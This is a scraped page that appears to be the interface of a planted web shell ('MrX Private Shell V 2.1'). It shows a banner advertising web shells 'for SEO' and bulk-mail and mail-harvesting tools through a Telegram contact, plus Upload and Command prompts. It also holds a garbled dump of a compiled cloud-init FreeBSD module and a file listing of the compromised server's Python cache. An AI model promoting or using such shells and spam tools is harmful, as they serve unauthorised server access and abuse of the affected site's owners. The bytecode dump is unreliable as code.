__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h"����SSKrSSKrSSKrSSKJr SSKrSSKJrJr SSK	J
r
 SSKJrJ
r
 \R"\5r"SS\R"R$R&5rg)�N)�StringIO)�subp�util)�FreeBSDNetworking)�
PER_ALWAYS�PER_INSTANCEc
�>�\rSrSrSr\rSrSrSr	Sr
/SQrSS	/rSS
/r
SS/rSS/rS
rSrSrSr/SQr\S.Sj5r\SS.S\S\S\4Sjj5rSrS\4SjrSrS/SjrSrS rS.S!jr S"r!SS#.S$jr"\#S%\S&\S'\S(\S)\S\$4S*j5r%\#S+\SS4S,j5r&S-r'g)0�Distro�zM
Distro subclass for FreeBSD.

(N.B. DragonFlyBSD inherits from this class.)
z/usr/local/libz/etc/login.confz/etc/login.conf.origz,/usr/local/etc/sudoers.d/90-cloud-init-users)�pw�group�add�pkg�install�remove�update�upgradeTz	/usr/homez/var/dbzdhclient.leases.\w+)z
^{username}::z^{username}:\*:z^{username}:\*LOCKED\*:Nc��[RRS5nUc[R	S5 g[
R
"SSU/SUS9$)z�
Tell rc to reload its configuration
Note that this only works while we're still in the process of booting.
May raise ProcessExecutionError
�RC_PIDNz0Unable to reload rc(8): no RC_PID in Environment�killz-SIGALRMT��capture�rcs)�os�environ�get�LOG�warningr)�clsr�rc_pids   �;/usr/lib/python3/dist-packages/cloudinit/distros/freebsd.py�reload_init�Distro.reload_init7sE��������)���>��K�K�J�K���y�y�&�*�f�5�t��M�M�)r�action�service�
extra_argsc
��URnUS/US/US/US/US/US/US/US/US/US/US	/US
/S.nXVU-[U5-n[R"USUS
9$)z�
Perform the requested action on a service. This handles FreeBSD's
'service' case. The FreeBSD 'service' is closer in features to
'systemctl' than SysV init's 'service', so we override it.
May raise ProcessExecutionError
�stop�start�enable�enabled�disable�onestart�onestop�restart�status�	onestatus)r)r*r+r,r-r.r/r0�reloadz
try-reloadr1r2Tr)�init_cmd�listr)rr%r&rr'r4�cmds�cmds        r!�manage_service�Distro.manage_serviceEs����<�<���f�%��w�'���)���+���+� �*�-���+���+��	�*�"�I�.���)�!�;�/�

���f��%��Z�(8�8���y�y��d��4�4r$c��SSSUSU/$)Nr�usermod�-n�-G�)�self�member_name�
group_names   r!�_get_add_member_to_group_cmd�#Distro._get_add_member_to_group_cmdas���i��{�D�*�E�Er$�returnc��[R"U5(a[RSU5 gSSSU/nSSSU/nSSSS	S
SSS
.nSSSS.nUR	5H�upxXu;aBU(a;[U[[45(a URXW[
U5/5 MLXv;dMSU(dM\URXg5 URXg5 M� SU;dSU;a#URS5 URS5 OkURSURSU35n	URSU	-5 URS5 URSU	-5 URS5 [RSU5 [R"X4S9 URSS5n
U
bURXSS9 g![a [R"[SU5 ef=f)zf
Add a user to the system using standard tools

Returns False if user already exists, otherwise True.
z!User %s already exists, skipping.Fr�useraddr<z-d�-cz-gr=z-sz-Ez-u)�homedir�gecos�
primary_group�groups�shell�inactive�uidz--no-user-groupz--systemz
--no-log-init)�
no_user_group�system�no_log_init�no_create_homerPz-d/nonexistentrH�/z-mzAdding user %s)�	logstringzFailed to create user %s�passwdNT)�hashed)r�is_userr�info�items�
isinstance�str�int�extend�appendr�home_dirr�	Exception�logexc�
set_passwd)r?�name�kwargs�pw_useradd_cmd�log_pw_useradd_cmd�pw_useradd_opts�pw_useradd_flags�key�valrH�
passwd_vals           r!�add_user�Distro.add_userds����<�<�����H�H�8�$�?���	�4��6��"�I�t�T�:����!�����
��/� �*�
������H�C��%�#�*�S�3��*�2M�2M��%�%��';�S��X�&F�G��(�S�S��%�%�&6�&;�<�"�)�)�*:�*?�@�
'��v�%��V�);��!�!�"2�3��%�%�&6�7��j�j��t�}�}�o�Q�t�f�,E�F�G��!�!�$��.�1��!�!�$�'��%�%�d�W�n�5��%�%�d�+�	���!�4�(�	��I�I�n�C��Z�Z��$�/�
��!��O�O�D�T�O�:����	��K�K��7��>��	�s�G�(G8c��[R"SSUSS/5 g![a [R"[SU5 ef=f)Nrr;�-pz01-Jan-1970z"Failed to set pw expiration for %s�rr`rrar)r?�users  r!�
expire_passwd�Distro.expire_passwd�sA��	��I�I�t�Y��d�M�B�C���	��K�K��A�4�H��	��	��(AFc��U(aSnOSn[R"SSXS/USU-S9 g![a [R"[SU5 ef=f)	Nz-Hz-hrr;�0zchpasswd for %s)�datarTzFailed to set password for %srp)r?rqrUrV�hash_opts     r!rb�Distro.set_passwd�s\����H��H�	��I�I��y�$�#�6��+�d�2�
��
�	��K�K��<�d�C��	�s	�,�(Ac��[R"SSUSS/5 g![a [R"[SU5 ef=f)Nrr;z-w�noz)Failed to lock password login for user %srp�r?rcs  r!�lock_passwd�Distro.lock_passwd�sA��	��I�I�t�Y��d�D�9�:���	��K�K��H�$�O��	�rtc�0�[RSU5 g)NzRDragonfly BSD/FreeBSD password lock is not reversible, ignoring unlock for user %s)r�debugr|s  r!�
unlock_passwd�Distro.unlock_passwd�s���	�	�
*��	
r$c�P�[5n[R"UR5R	5H>nUR[R"SSU-U55 URS5 M@ [R"URUR5 [R"URUR55 [RSU5 [R"SUR/5 g![Ra� [R "[SU5 [R"URUR5 g!["a* [R "[SUR5 gf=ff=f)Nz	^default:zdefault:lang=%s:�
zRunning cap_mkdb for %s�cap_mkdbzFailed to apply locale %szFailed to restore %s backup)rr�load_text_file�
login_conf_fn�
splitlines�write�re�sub�copy�login_conf_fn_bak�
write_file�getvaluerr�r�ProcessExecutionErrorra�IOError)r?�locale�out_fn�newconf�lines     r!�apply_locale�Distro.apply_locale�s2���*���'�'��(:�(:�;�F�F�H�D��M�M����|�%8�6�%A�4�H�
�
�M�M�$��	I�	
�	�	�$�$�$�d�&<�&<�=�	
����*�*�G�,<�,<�,>�?�	��I�I�/��8��I�I�z�4�#5�#5�6�7���)�)�	��K�K��8�&�A�
��	�	�$�0�0�$�2D�2D�E���
�����6��8J�8J��
��	�s*�8D�0F%�+E-�-0F!�F%� F!�!F%c�
�SS0$)zBReturn environment vars used in FreeBSD package_command
operations�ASSUME_ALWAYS_YES�YESr>)r?s r!�_get_pkg_cmd_environ�Distro._get_pkg_cmd_environ�s��$�U�+�+r$)�forcec�t�URRSURS/U(a[O[S9 g)Nzupdate-sourcesr)�freq)�_runner�run�package_commandrr)r?r�s  r!�update_package_sources�Distro.update_package_sources�s1��������� � �
�J�$��,�		�	
r$�path�
lease_file�pid_file�	interface�config_filec�2�USUSU/U(aSXC/-$U/-$)Nz-lrorGr>)r�r�r�r�r�s     r!�build_dhclient_cmd�Distro.build_dhclient_cmd�s5���d�J��h�7�.9�T�;�*�
�	
�@I�{�
�	
r$�devicec�6�[R"SSU/5 g)N�
camcontrol�eject)r)r�s r!�eject_media�Distro.eject_media�s���	�	�<��&�1�2r$r>)N)F)(�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�networking_cls�usr_lib_execr�r��
ci_sudoers_fn�group_add_cmd_prefix�pkg_cmd_install_prefix�pkg_cmd_remove_prefix�pkg_cmd_update_prefix�pkg_cmd_upgrade_prefix�prefer_fqdnr_�dhclient_lease_directory�dhclient_lease_file_regex�#shadow_empty_locked_passwd_patterns�classmethodr"r[r8rB�boolrlrrrbr}r�r�r�r��staticmethodr5r�r��__static_attributes__r>r$r!r
r
sc���'�N�#�L�%�M�.��B�M�1��#�Y�/��"�H�-��"�H�-��#�Y�/���K��H� )�� 6��+�'��N��N��>B�5��5�#&�5�58�5��5�6F�<�$�<�|�� �
��8,�
/4�
��	
��	
��	
��	
��		
�
�	
�
�
	
��	
��3�C�3�D�3��3r$r
)�loggingrr��ior�cloudinit.distros.bsd�	cloudinitrr�cloudinit.distros.networkingr�cloudinit.settingsrr�	getLoggerr�r�distros�bsd�BSDr
r>r$r!�<module>r�sO���	�	��� �:�7�
����!��j3�Y�
�
�
"�
"�
&�
&�j3r$

Filemanager

Name Type Size Permission Actions
OpenCloudOS.cpython-313.pyc File 771 B 0644
TencentOS.cpython-313.pyc File 769 B 0644
__init__.cpython-313.pyc File 67.79 KB 0644
almalinux.cpython-313.pyc File 466 B 0644
alpine.cpython-313.pyc File 23.96 KB 0644
amazon.cpython-313.pyc File 753 B 0644
aosc.cpython-313.pyc File 6.55 KB 0644
arch.cpython-313.pyc File 6.42 KB 0644
azurelinux.cpython-313.pyc File 2.99 KB 0644
bsd.cpython-313.pyc File 9.11 KB 0644
bsd_utils.cpython-313.pyc File 1.91 KB 0644
centos.cpython-313.pyc File 463 B 0644
cloudlinux.cpython-313.pyc File 467 B 0644
cos.cpython-313.pyc File 462 B 0644
debian.cpython-313.pyc File 11.51 KB 0644
dragonflybsd.cpython-313.pyc File 566 B 0644
eurolinux.cpython-313.pyc File 466 B 0644
fedora.cpython-313.pyc File 463 B 0644
freebsd.cpython-313.pyc File 10.38 KB 0644
gentoo.cpython-313.pyc File 5.91 KB 0644
mariner.cpython-313.pyc File 2.01 KB 0644
miraclelinux.cpython-313.pyc File 469 B 0644
netbsd.cpython-313.pyc File 7.05 KB 0644
networking.cpython-313.pyc File 16.54 KB 0644
openbsd.cpython-313.pyc File 3.25 KB 0644
openeuler.cpython-313.pyc File 767 B 0644
openmandriva.cpython-313.pyc File 471 B 0644
opensuse-leap.cpython-313.pyc File 474 B 0644
opensuse-microos.cpython-313.pyc File 477 B 0644
opensuse-tumbleweed.cpython-313.pyc File 480 B 0644
opensuse.cpython-313.pyc File 10.61 KB 0644
photon.cpython-313.pyc File 6.95 KB 0644
rhel.cpython-313.pyc File 8.36 KB 0644
rhel_util.cpython-313.pyc File 1.57 KB 0644
rocky.cpython-313.pyc File 462 B 0644
sle-micro.cpython-313.pyc File 470 B 0644
sle_hpc.cpython-313.pyc File 468 B 0644
sles.cpython-313.pyc File 465 B 0644
suse.cpython-313.pyc File 463 B 0644
ubuntu.cpython-313.pyc File 3.22 KB 0644
ug_util.cpython-313.pyc File 7.93 KB 0644
virtuozzo.cpython-313.pyc File 466 B 0644
Filemanager